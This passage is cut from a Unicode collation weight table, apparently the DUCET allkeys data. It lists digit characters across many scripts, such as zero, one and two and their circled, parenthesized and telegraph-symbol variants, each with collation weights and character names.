[.1BB8.0020.0004][*0274.0020.0004] # DIGIT ZERO FULL STOP +1F101 ; [.1BB8.0020.0004][*0221.0020.0004] # DIGIT ZERO COMMA +1D7CE ; [.1BB8.0020.0005] # MATHEMATICAL BOLD DIGIT ZERO +1D7D8 ; [.1BB8.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT ZERO +1D7E2 ; [.1BB8.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT ZERO +1D7EC ; [.1BB8.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT ZERO +1D7F6 ; [.1BB8.0020.0005] # MATHEMATICAL MONOSPACE DIGIT ZERO +24EA ; [.1BB8.0020.0006] # CIRCLED DIGIT ZERO +24FF ; [.1BB8.0020.0006] # NEGATIVE CIRCLED DIGIT ZERO +1F10B ; [.1BB8.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT ZERO +1F10C ; [.1BB8.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT ZERO +2070 ; [.1BB8.0020.0014] # SUPERSCRIPT ZERO +2080 ; [.1BB8.0020.0015] # SUBSCRIPT ZERO +2189 ; [.1BB8.0020.001E][*0606.0020.001E][.1BBB.0020.001E] # VULGAR FRACTION ZERO THIRDS +3358 ; [.1BB8.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ZERO +0031 ; [.1BB9.0020.0002] # DIGIT ONE +0661 ; [.1BB9.0020.0002] # ARABIC-INDIC DIGIT ONE +06F1 ; [.1BB9.0020.0002] # EXTENDED ARABIC-INDIC DIGIT ONE +07C1 ; [.1BB9.0020.0002] # NKO DIGIT ONE +0967 ; [.1BB9.0020.0002] # DEVANAGARI DIGIT ONE +09E7 ; [.1BB9.0020.0002] # BENGALI DIGIT ONE +0A67 ; [.1BB9.0020.0002] # GURMUKHI DIGIT ONE +0AE7 ; [.1BB9.0020.0002] # GUJARATI DIGIT ONE +0B67 ; [.1BB9.0020.0002] # ORIYA DIGIT ONE +0BE7 ; [.1BB9.0020.0002] # TAMIL DIGIT ONE +0C67 ; [.1BB9.0020.0002] # TELUGU DIGIT ONE +0C79 ; [.1BB9.0020.0002] # TELUGU FRACTION DIGIT ONE FOR ODD POWERS OF FOUR +0C7C ; [.1BB9.0020.0002] # TELUGU FRACTION DIGIT ONE FOR EVEN POWERS OF FOUR +0CE7 ; [.1BB9.0020.0002] # KANNADA DIGIT ONE +0D67 ; [.1BB9.0020.0002] # MALAYALAM DIGIT ONE +0DE7 ; [.1BB9.0020.0002] # SINHALA LITH DIGIT ONE +0E51 ; [.1BB9.0020.0002] # THAI DIGIT ONE +0ED1 ; [.1BB9.0020.0002] # LAO DIGIT ONE +0F21 ; [.1BB9.0020.0002] # TIBETAN DIGIT ONE +1041 ; [.1BB9.0020.0002] # MYANMAR DIGIT ONE +1091 ; [.1BB9.0020.0002] # MYANMAR SHAN DIGIT ONE +1369 ; [.1BB9.0020.0002] # ETHIOPIC DIGIT ONE +17E1 ; [.1BB9.0020.0002] # KHMER DIGIT ONE +17F1 ; [.1BB9.0020.0002] # KHMER SYMBOL LEK ATTAK MUOY +1811 ; [.1BB9.0020.0002] # MONGOLIAN DIGIT ONE +1947 ; [.1BB9.0020.0002] # LIMBU DIGIT ONE +19D1 ; [.1BB9.0020.0002] # NEW TAI LUE DIGIT ONE +19DA ; [.1BB9.0020.0002] # NEW TAI LUE THAM DIGIT ONE +1A81 ; [.1BB9.0020.0002] # TAI THAM HORA DIGIT ONE +1A91 ; [.1BB9.0020.0002] # TAI THAM THAM DIGIT ONE +1B51 ; [.1BB9.0020.0002] # BALINESE DIGIT ONE +1BB1 ; [.1BB9.0020.0002] # SUNDANESE DIGIT ONE +1C41 ; [.1BB9.0020.0002] # LEPCHA DIGIT ONE +1C51 ; [.1BB9.0020.0002] # OL CHIKI DIGIT ONE +3021 ; [.1BB9.0020.0002] # HANGZHOU NUMERAL ONE +A621 ; [.1BB9.0020.0002] # VAI DIGIT ONE +A8D1 ; [.1BB9.0020.0002] # SAURASHTRA DIGIT ONE +A901 ; [.1BB9.0020.0002] # KAYAH LI DIGIT ONE +A9D1 ; [.1BB9.0020.0002] # JAVANESE DIGIT ONE +A9F1 ; [.1BB9.0020.0002] # MYANMAR TAI LAING DIGIT ONE +AA51 ; [.1BB9.0020.0002] # CHAM DIGIT ONE +ABF1 ; [.1BB9.0020.0002] # MEETEI MAYEK DIGIT ONE +10107 ; [.1BB9.0020.0002] # AEGEAN NUMBER ONE +10142 ; [.1BB9.0020.0002] # GREEK ACROPHONIC ATTIC ONE DRACHMA +10158 ; [.1BB9.0020.0002] # GREEK ACROPHONIC HERAEUM ONE PLETHRON +10159 ; [.1BB9.0020.0002] # GREEK ACROPHONIC THESPIAN ONE +1015A ; [.1BB9.0020.0002] # GREEK ACROPHONIC HERMIONIAN ONE +102E1 ; [.1BB9.0020.0002] # COPTIC EPACT DIGIT ONE +10320 ; [.1BB9.0020.0002] # OLD ITALIC NUMERAL ONE +103D1 ; [.1BB9.0020.0002] # OLD PERSIAN NUMBER ONE +104A1 ; [.1BB9.0020.0002] # OSMANYA DIGIT ONE +10858 ; [.1BB9.0020.0002] # IMPERIAL ARAMAIC NUMBER ONE +10879 ; [.1BB9.0020.0002] # PALMYRENE NUMBER ONE +108A7 ; [.1BB9.0020.0002] # NABATAEAN NUMBER ONE +108FB ; [.1BB9.0020.0002] # HATRAN NUMBER ONE +10916 ; [.1BB9.0020.0002] # PHOENICIAN NUMBER ONE +109C0 ; [.1BB9.0020.0002] # MEROITIC CURSIVE NUMBER ONE +10A40 ; [.1BB9.0020.0002] # KHAROSHTHI DIGIT ONE +10A7D ; [.1BB9.0020.0002] # OLD SOUTH ARABIAN NUMBER ONE +10A9D ; [.1BB9.0020.0002] # OLD NORTH ARABIAN NUMBER ONE +10AEB ; [.1BB9.0020.0002] # MANICHAEAN NUMBER ONE +10B58 ; [.1BB9.0020.0002] # INSCRIPTIONAL PARTHIAN NUMBER ONE +10B78 ; [.1BB9.0020.0002] # INSCRIPTIONAL PAHLAVI NUMBER ONE +10BA9 ; [.1BB9.0020.0002] # PSALTER PAHLAVI NUMBER ONE +10CFA ; [.1BB9.0020.0002] # OLD HUNGARIAN NUMBER ONE +10E60 ; [.1BB9.0020.0002] # RUMI DIGIT ONE +11052 ; [.1BB9.0020.0002] # BRAHMI NUMBER ONE +11067 ; [.1BB9.0020.0002] # BRAHMI DIGIT ONE +110F1 ; [.1BB9.0020.0002] # SORA SOMPENG DIGIT ONE +11137 ; [.1BB9.0020.0002] # CHAKMA DIGIT ONE +111D1 ; [.1BB9.0020.0002] # SHARADA DIGIT ONE +111E1 ; [.1BB9.0020.0002] # SINHALA ARCHAIC DIGIT ONE +112F1 ; [.1BB9.0020.0002] # KHUDAWADI DIGIT ONE +114D1 ; [.1BB9.0020.0002] # TIRHUTA DIGIT ONE +11651 ; [.1BB9.0020.0002] # MODI DIGIT ONE +116C1 ; [.1BB9.0020.0002] # TAKRI DIGIT ONE +11731 ; [.1BB9.0020.0002] # AHOM DIGIT ONE +118E1 ; [.1BB9.0020.0002] # WARANG CITI DIGIT ONE +12415 ; [.1BB9.0020.0002] # CUNEIFORM NUMERIC SIGN ONE GESH2 +1241E ; [.1BB9.0020.0002] # CUNEIFORM NUMERIC SIGN ONE GESHU +1242C ; [.1BB9.0020.0002] # CUNEIFORM NUMERIC SIGN ONE SHARU +12434 ; [.1BB9.0020.0002] # CUNEIFORM NUMERIC SIGN ONE BURU +1244F ; [.1BB9.0020.0002] # CUNEIFORM NUMERIC SIGN ONE BAN2 +12458 ; [.1BB9.0020.0002] # CUNEIFORM NUMERIC SIGN ONE ESHE3 +16A61 ; [.1BB9.0020.0002] # MRO DIGIT ONE +16B51 ; [.1BB9.0020.0002] # PAHAWH HMONG DIGIT ONE +1D360 ; [.1BB9.0020.0002] # COUNTING ROD UNIT DIGIT ONE +1E8C7 ; [.1BB9.0020.0002] # MENDE KIKAKUI DIGIT ONE +FF11 ; [.1BB9.0020.0003] # FULLWIDTH DIGIT ONE +0F2A ; [.1BB9.0020.0004] # TIBETAN DIGIT HALF ONE +2474 ; [*0310.0020.0004][.1BB9.0020.0004][*0311.0020.0004] # PARENTHESIZED DIGIT ONE +2488 ; [.1BB9.0020.0004][*0274.0020.0004] # DIGIT ONE FULL STOP +1F102 ; [.1BB9.0020.0004][*0221.0020.0004] # DIGIT ONE COMMA +1D7CF ; [.1BB9.0020.0005] # MATHEMATICAL BOLD DIGIT ONE +1D7D9 ; [.1BB9.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT ONE +1D7E3 ; [.1BB9.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT ONE +1D7ED ; [.1BB9.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT ONE +1D7F7 ; [.1BB9.0020.0005] # MATHEMATICAL MONOSPACE DIGIT ONE +2460 ; [.1BB9.0020.0006] # CIRCLED DIGIT ONE +24F5 ; [.1BB9.0020.0006] # DOUBLE CIRCLED DIGIT ONE +2776 ; [.1BB9.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT ONE +2780 ; [.1BB9.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT ONE +278A ; [.1BB9.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT ONE +00B9 ; [.1BB9.0020.0014] # SUPERSCRIPT ONE +2081 ; [.1BB9.0020.0015] # SUBSCRIPT ONE +215F ; [.1BB9.0020.001E][*0606.0020.001E] # FRACTION NUMERATOR ONE +247D ; [*0310.0020.0004][.1BB9.0020.0004][.1BB8.0020.0004][*0311.0020.0004] # PARENTHESIZED NUMBER TEN +2491 ; [.1BB9.0020.0004][.1BB8.0020.0004][*0274.0020.0004] # NUMBER TEN FULL STOP +2469 ; [.1BB9.0020.0006][.1BB8.0020.0006] # CIRCLED NUMBER TEN +24FE ; [.1BB9.0020.0006][.1BB8.0020.0006] # DOUBLE CIRCLED NUMBER TEN +277F ; [.1BB9.0020.0006][.1BB8.0020.0006] # DINGBAT NEGATIVE CIRCLED NUMBER TEN +2789 ; [.1BB9.0020.0006][.1BB8.0020.0006] # DINGBAT CIRCLED SANS-SERIF NUMBER TEN +2793 ; [.1BB9.0020.0006][.1BB8.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF NUMBER TEN +3248 ; [.1BB9.0020.0006][.1BB8.0020.0006] # CIRCLED NUMBER TEN ON BLACK SQUARE +33E9 ; [.1BB9.0020.0004][.1BB8.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TEN +32C9 ; [.1BB9.0020.0004][.1BB8.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR OCTOBER +3362 ; [.1BB9.0020.0004][.1BB8.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TEN +247E ; [*0310.0020.0004][.1BB9.0020.0004][.1BB9.0020.0004][*0311.0020.0004] # PARENTHESIZED NUMBER ELEVEN +2492 ; [.1BB9.0020.0004][.1BB9.0020.0004][*0274.0020.0004] # NUMBER ELEVEN FULL STOP +246A ; [.1BB9.0020.0006][.1BB9.0020.0006] # CIRCLED NUMBER ELEVEN +24EB ; [.1BB9.0020.0006][.1BB9.0020.0006] # NEGATIVE CIRCLED NUMBER ELEVEN +2152 ; [.1BB9.0020.001E][*0606.0020.001E][.1BB9.0020.001E][.1BB8.0020.001E] # VULGAR FRACTION ONE TENTH +33EA ; [.1BB9.0020.0004][.1BB9.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ELEVEN +32CA ; [.1BB9.0020.0004][.1BB9.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR NOVEMBER +3363 ; [.1BB9.0020.0004][.1BB9.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ELEVEN +247F ; [*0310.0020.0004][.1BB9.0020.0004][.1BBA.0020.0004][*0311.0020.0004] # PARENTHESIZED NUMBER TWELVE +2493 ; [.1BB9.0020.0004][.1BBA.0020.0004][*0274.0020.0004] # NUMBER TWELVE FULL STOP +246B ; [.1BB9.0020.0006][.1BBA.0020.0006] # CIRCLED NUMBER TWELVE +24EC ; [.1BB9.0020.0006][.1BBA.0020.0006] # NEGATIVE CIRCLED NUMBER TWELVE +00BD ; [.1BB9.0020.001E][*0606.0020.001E][.1BBA.0020.001E] # VULGAR FRACTION ONE HALF +33EB ; [.1BB9.0020.0004][.1BBA.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWELVE +32CB ; [.1BB9.0020.0004][.1BBA.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DECEMBER +3364 ; [.1BB9.0020.0004][.1BBA.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWELVE +2480 ; [*0310.0020.0004][.1BB9.0020.0004][.1BBB.0020.0004][*0311.0020.0004] # PARENTHESIZED NUMBER THIRTEEN +2494 ; [.1BB9.0020.0004][.1BBB.0020.0004][*0274.0020.0004] # NUMBER THIRTEEN FULL STOP +246C ; [.1BB9.0020.0006][.1BBB.0020.0006] # CIRCLED NUMBER THIRTEEN +24ED ; [.1BB9.0020.0006][.1BBB.0020.0006] # NEGATIVE CIRCLED NUMBER THIRTEEN +2153 ; [.1BB9.0020.001E][*0606.0020.001E][.1BBB.0020.001E] # VULGAR FRACTION ONE THIRD +33EC ; [.1BB9.0020.0004][.1BBB.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTEEN +3365 ; [.1BB9.0020.0004][.1BBB.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THIRTEEN +2481 ; [*0310.0020.0004][.1BB9.0020.0004][.1BBC.0020.0004][*0311.0020.0004] # PARENTHESIZED NUMBER FOURTEEN +2495 ; [.1BB9.0020.0004][.1BBC.0020.0004][*0274.0020.0004] # NUMBER FOURTEEN FULL STOP +246D ; [.1BB9.0020.0006][.1BBC.0020.0006] # CIRCLED NUMBER FOURTEEN +24EE ; [.1BB9.0020.0006][.1BBC.0020.0006] # NEGATIVE CIRCLED NUMBER FOURTEEN +00BC ; [.1BB9.0020.001E][*0606.0020.001E][.1BBC.0020.001E] # VULGAR FRACTION ONE QUARTER +33ED ; [.1BB9.0020.0004][.1BBC.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOURTEEN +3366 ; [.1BB9.0020.0004][.1BBC.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOURTEEN +2482 ; [*0310.0020.0004][.1BB9.0020.0004][.1BBD.0020.0004][*0311.0020.0004] # PARENTHESIZED NUMBER FIFTEEN +2496 ; [.1BB9.0020.0004][.1BBD.0020.0004][*0274.0020.0004] # NUMBER FIFTEEN FULL STOP +246E ; [.1BB9.0020.0006][.1BBD.0020.0006] # CIRCLED NUMBER FIFTEEN +24EF ; [.1BB9.0020.0006][.1BBD.0020.0006] # NEGATIVE CIRCLED NUMBER FIFTEEN +2155 ; [.1BB9.0020.001E][*0606.0020.001E][.1BBD.0020.001E] # VULGAR FRACTION ONE FIFTH +33EE ; [.1BB9.0020.0004][.1BBD.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIFTEEN +3367 ; [.1BB9.0020.0004][.1BBD.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIFTEEN +2483 ; [*0310.0020.0004][.1BB9.0020.0004][.1BBE.0020.0004][*0311.0020.0004] # PARENTHESIZED NUMBER SIXTEEN +2497 ; [.1BB9.0020.0004][.1BBE.0020.0004][*0274.0020.0004] # NUMBER SIXTEEN FULL STOP +246F ; [.1BB9.0020.0006][.1BBE.0020.0006] # CIRCLED NUMBER SIXTEEN +24F0 ; [.1BB9.0020.0006][.1BBE.0020.0006] # NEGATIVE CIRCLED NUMBER SIXTEEN +2159 ; [.1BB9.0020.001E][*0606.0020.001E][.1BBE.0020.001E] # VULGAR FRACTION ONE SIXTH +33EF ; [.1BB9.0020.0004][.1BBE.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIXTEEN +3368 ; [.1BB9.0020.0004][.1BBE.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIXTEEN +2484 ; [*0310.0020.0004][.1BB9.0020.0004][.1BBF.0020.0004][*0311.0020.0004] # PARENTHESIZED NUMBER SEVENTEEN +2498 ; [.1BB9.0020.0004][.1BBF.0020.0004][*0274.0020.0004] # NUMBER SEVENTEEN FULL STOP +2470 ; [.1BB9.0020.0006][.1BBF.0020.0006] # CIRCLED NUMBER SEVENTEEN +24F1 ; [.1BB9.0020.0006][.1BBF.0020.0006] # NEGATIVE CIRCLED NUMBER SEVENTEEN +2150 ; [.1BB9.0020.001E][*0606.0020.001E][.1BBF.0020.001E] # VULGAR FRACTION ONE SEVENTH +33F0 ; [.1BB9.0020.0004][.1BBF.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVENTEEN +3369 ; [.1BB9.0020.0004][.1BBF.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVENTEEN +2485 ; [*0310.0020.0004][.1BB9.0020.0004][.1BC0.0020.0004][*0311.0020.0004] # PARENTHESIZED NUMBER EIGHTEEN +2499 ; [.1BB9.0020.0004][.1BC0.0020.0004][*0274.0020.0004] # NUMBER EIGHTEEN FULL STOP +2471 ; [.1BB9.0020.0006][.1BC0.0020.0006] # CIRCLED NUMBER EIGHTEEN +24F2 ; [.1BB9.0020.0006][.1BC0.0020.0006] # NEGATIVE CIRCLED NUMBER EIGHTEEN +215B ; [.1BB9.0020.001E][*0606.0020.001E][.1BC0.0020.001E] # VULGAR FRACTION ONE EIGHTH +33F1 ; [.1BB9.0020.0004][.1BC0.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHTEEN +336A ; [.1BB9.0020.0004][.1BC0.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHTEEN +2486 ; [*0310.0020.0004][.1BB9.0020.0004][.1BC1.0020.0004][*0311.0020.0004] # PARENTHESIZED NUMBER NINETEEN +249A ; [.1BB9.0020.0004][.1BC1.0020.0004][*0274.0020.0004] # NUMBER NINETEEN FULL STOP +2472 ; [.1BB9.0020.0006][.1BC1.0020.0006] # CIRCLED NUMBER NINETEEN +24F3 ; [.1BB9.0020.0006][.1BC1.0020.0006] # NEGATIVE CIRCLED NUMBER NINETEEN +2151 ; [.1BB9.0020.001E][*0606.0020.001E][.1BC1.0020.001E] # VULGAR FRACTION ONE NINTH +33F2 ; [.1BB9.0020.0004][.1BC1.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINETEEN +336B ; [.1BB9.0020.0004][.1BC1.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINETEEN +33E0 ; [.1BB9.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ONE +32C0 ; [.1BB9.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JANUARY +3359 ; [.1BB9.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ONE +0032 ; [.1BBA.0020.0002] # DIGIT TWO +0662 ; [.1BBA.0020.0002] # ARABIC-INDIC DIGIT TWO +06F2 ; [.1BBA.0020.0002] # EXTENDED ARABIC-INDIC DIGIT TWO +07C2 ; [.1BBA.0020.0002] # NKO DIGIT TWO +0968 ; [.1BBA.0020.0002] # DEVANAGARI DIGIT TWO +09E8 ; [.1BBA.0020.0002] # BENGALI DIGIT TWO +0A68 ; [.1BBA.0020.0002] # GURMUKHI DIGIT TWO +0AE8 ; [.1BBA.0020.0002] # GUJARATI DIGIT TWO +0B68 ; [.1BBA.0020.0002] # ORIYA DIGIT TWO +0BE8 ; [.1BBA.0020.0002] # TAMIL DIGIT TWO +0C68 ; [.1BBA.0020.0002] # TELUGU DIGIT TWO +0C7A ; [.1BBA.0020.0002] # TELUGU FRACTION DIGIT TWO FOR ODD POWERS OF FOUR +0C7D ; [.1BBA.0020.0002] # TELUGU FRACTION DIGIT TWO FOR EVEN POWERS OF FOUR +0CE8 ; [.1BBA.0020.0002] # KANNADA DIGIT TWO +0D68 ; [.1BBA.0020.0002] # MALAYALAM DIGIT TWO +0DE8 ; [.1BBA.0020.0002] # SINHALA LITH DIGIT TWO +0E52 ; [.1BBA.0020.0002] # THAI DIGIT TWO +0ED2 ; [.1BBA.0020.0002] # LAO DIGIT TWO +0F22 ; [.1BBA.0020.0002] # TIBETAN DIGIT TWO +1042 ; [.1BBA.0020.0002] # MYANMAR DIGIT TWO +1092 ; [.1BBA.0020.0002] # MYANMAR SHAN DIGIT TWO +136A ; [.1BBA.0020.0002] # ETHIOPIC DIGIT TWO +17E2 ; [.1BBA.0020.0002] # KHMER DIGIT TWO +17F2 ; [.1BBA.0020.0002] # KHMER SYMBOL LEK ATTAK PII +1812 ; [.1BBA.0020.0002] # MONGOLIAN DIGIT TWO +1948 ; [.1BBA.0020.0002] # LIMBU DIGIT TWO +19D2 ; [.1BBA.0020.0002] # NEW TAI LUE DIGIT TWO +1A82 ; [.1BBA.0020.0002] # TAI THAM HORA DIGIT TWO +1A92 ; [.1BBA.0020.0002] # TAI THAM THAM DIGIT TWO +1B52 ; [.1BBA.0020.0002] # BALINESE DIGIT TWO +1BB2 ; [.1BBA.0020.0002] # SUNDANESE DIGIT TWO +1C42 ; [.1BBA.0020.0002] # LEPCHA DIGIT TWO +1C52 ; [.1BBA.0020.0002] # OL CHIKI DIGIT TWO +3022 ; [.1BBA.0020.0002] # HANGZHOU NUMERAL TWO +A622 ; [.1BBA.0020.0002] # VAI DIGIT TWO +A8D2 ; [.1BBA.0020.0002] # SAURASHTRA DIGIT TWO +A902 ; [.1BBA.0020.0002] # KAYAH LI DIGIT TWO +A9D2 ; [.1BBA.0020.0002] # JAVANESE DIGIT TWO +A9F2 ; [.1BBA.0020.0002] # MYANMAR TAI LAING DIGIT TWO +AA52 ; [.1BBA.0020.0002] # CHAM DIGIT TWO +ABF2 ; [.1BBA.0020.0002] # MEETEI MAYEK DIGIT TWO +10108 ; [.1BBA.0020.0002] # AEGEAN NUMBER TWO +1015B ; [.1BBA.0020.0002] # GREEK ACROPHONIC EPIDAUREAN TWO +1015C ; [.1BBA.0020.0002] # GREEK ACROPHONIC THESPIAN TWO +1015D ; [.1BBA.0020.0002] # GREEK ACROPHONIC CYRENAIC TWO DRACHMAS +1015E ; [.1BBA.0020.0002] # GREEK ACROPHONIC EPIDAUREAN TWO DRACHMAS +102E2 ; [.1BBA.0020.0002] # COPTIC EPACT DIGIT TWO +103D2 ; [.1BBA.0020.0002] # OLD PERSIAN NUMBER TWO +104A2 ; [.1BBA.0020.0002] # OSMANYA DIGIT TWO +10859 ; [.1BBA.0020.0002] # IMPERIAL ARAMAIC NUMBER TWO +1087A ; [.1BBA.0020.0002] # PALMYRENE NUMBER TWO +108A8 ; [.1BBA.0020.0002] # NABATAEAN NUMBER TWO +1091A ; [.1BBA.0020.0002] # PHOENICIAN NUMBER TWO +109C1 ; [.1BBA.0020.0002] # MEROITIC CURSIVE NUMBER TWO +10A41 ; [.1BBA.0020.0002] # KHAROSHTHI DIGIT TWO +10B59 ; [.1BBA.0020.0002] # INSCRIPTIONAL PARTHIAN NUMBER TWO +10B79 ; [.1BBA.0020.0002] # INSCRIPTIONAL PAHLAVI NUMBER TWO +10BAA ; [.1BBA.0020.0002] # PSALTER PAHLAVI NUMBER TWO +10E61 ; [.1BBA.0020.0002] # RUMI DIGIT TWO +11053 ; [.1BBA.0020.0002] # BRAHMI NUMBER TWO +11068 ; [.1BBA.0020.0002] # BRAHMI DIGIT TWO +110F2 ; [.1BBA.0020.0002] # SORA SOMPENG DIGIT TWO +11138 ; [.1BBA.0020.0002] # CHAKMA DIGIT TWO +111D2 ; [.1BBA.0020.0002] # SHARADA DIGIT TWO +111E2 ; [.1BBA.0020.0002] # SINHALA ARCHAIC DIGIT TWO +112F2 ; [.1BBA.0020.0002] # KHUDAWADI DIGIT TWO +114D2 ; [.1BBA.0020.0002] # TIRHUTA DIGIT TWO +11652 ; [.1BBA.0020.0002] # MODI DIGIT TWO +116C2 ; [.1BBA.0020.0002] # TAKRI DIGIT TWO +11732 ; [.1BBA.0020.0002] # AHOM DIGIT TWO +118E2 ; [.1BBA.0020.0002] # WARANG CITI DIGIT TWO +12400 ; [.1BBA.0020.0002] # CUNEIFORM NUMERIC SIGN TWO ASH +12416 ; [.1BBA.0020.0002] # CUNEIFORM NUMERIC SIGN TWO GESH2 +1241F ; [.1BBA.0020.0002] # CUNEIFORM NUMERIC SIGN TWO GESHU +12423 ; [.1BBA.0020.0002] # CUNEIFORM NUMERIC SIGN TWO SHAR2 +1242D ; [.1BBA.0020.0002] # CUNEIFORM NUMERIC SIGN TWO SHARU +12435 ; [.1BBA.0020.0002] # CUNEIFORM NUMERIC SIGN TWO BURU +1244A ; [.1BBA.0020.0002] # CUNEIFORM NUMERIC SIGN TWO ASH TENU +12450 ; [.1BBA.0020.0002] # CUNEIFORM NUMERIC SIGN TWO BAN2 +12456 ; [.1BBA.0020.0002] # CUNEIFORM NUMERIC SIGN NIGIDAMIN +12459 ; [.1BBA.0020.0002] # CUNEIFORM NUMERIC SIGN TWO ESHE3 +16A62 ; [.1BBA.0020.0002] # MRO DIGIT TWO +16B52 ; [.1BBA.0020.0002] # PAHAWH HMONG DIGIT TWO +1D361 ; [.1BBA.0020.0002] # COUNTING ROD UNIT DIGIT TWO +1E8C8 ; [.1BBA.0020.0002] # MENDE KIKAKUI DIGIT TWO +FF12 ; [.1BBA.0020.0003] # FULLWIDTH DIGIT TWO +0F2B ; [.1BBA.0020.0004] # TIBETAN DIGIT HALF TWO +2475 ; [*0310.0020.0004][.1BBA.0020.0004][*0311.0020.0004] # PARENTHESIZED DIGIT TWO +2489 ; [.1BBA.0020.0004][*0274.0020.0004] # DIGIT TWO FULL STOP +1F103 ; [.1BBA.0020.0004][*0221.0020.0004] # DIGIT TWO COMMA +1D7D0 ; [.1BBA.0020.0005] # MATHEMATICAL BOLD DIGIT TWO +1D7DA ; [.1BBA.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT TWO +1D7E4 ; [.1BBA.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT TWO +1D7EE ; [.1BBA.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT TWO +1D7F8 ; [.1BBA.0020.0005] # MATHEMATICAL MONOSPACE DIGIT TWO +2461 ; [.1BBA.0020.0006] # CIRCLED DIGIT TWO +24F6 ; [.1BBA.0020.0006] # DOUBLE CIRCLED DIGIT TWO +2777 ; [.1BBA.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT TWO +2781 ; [.1BBA.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT TWO +278B ; [.1BBA.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT TWO +00B2 ; [.1BBA.0020.0014] # SUPERSCRIPT TWO +2082 ; [.1BBA.0020.0015] # SUBSCRIPT TWO +2487 ; [*0310.0020.0004][.1BBA.0020.0004][.1BB8.0020.0004][*0311.0020.0004] # PARENTHESIZED NUMBER TWENTY +249B ; [.1BBA.0020.0004][.1BB8.0020.0004][*0274.0020.0004] # NUMBER TWENTY FULL STOP +2473 ; [.1BBA.0020.0006][.1BB8.0020.0006] # CIRCLED NUMBER TWENTY +24F4 ; [.1BBA.0020.0006][.1BB8.0020.0006] # NEGATIVE CIRCLED NUMBER TWENTY +3249 ; [.1BBA.0020.0006][.1BB8.0020.0006] # CIRCLED NUMBER TWENTY ON BLACK SQUARE +33F3 ; [.1BBA.0020.0004][.1BB8.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY +336C ; [.1BBA.0020.0004][.1BB8.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY +3251 ; [.1BBA.0020.0006][.1BB9.0020.0006] # CIRCLED NUMBER TWENTY ONE +33F4 ; [.1BBA.0020.0004][.1BB9.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR 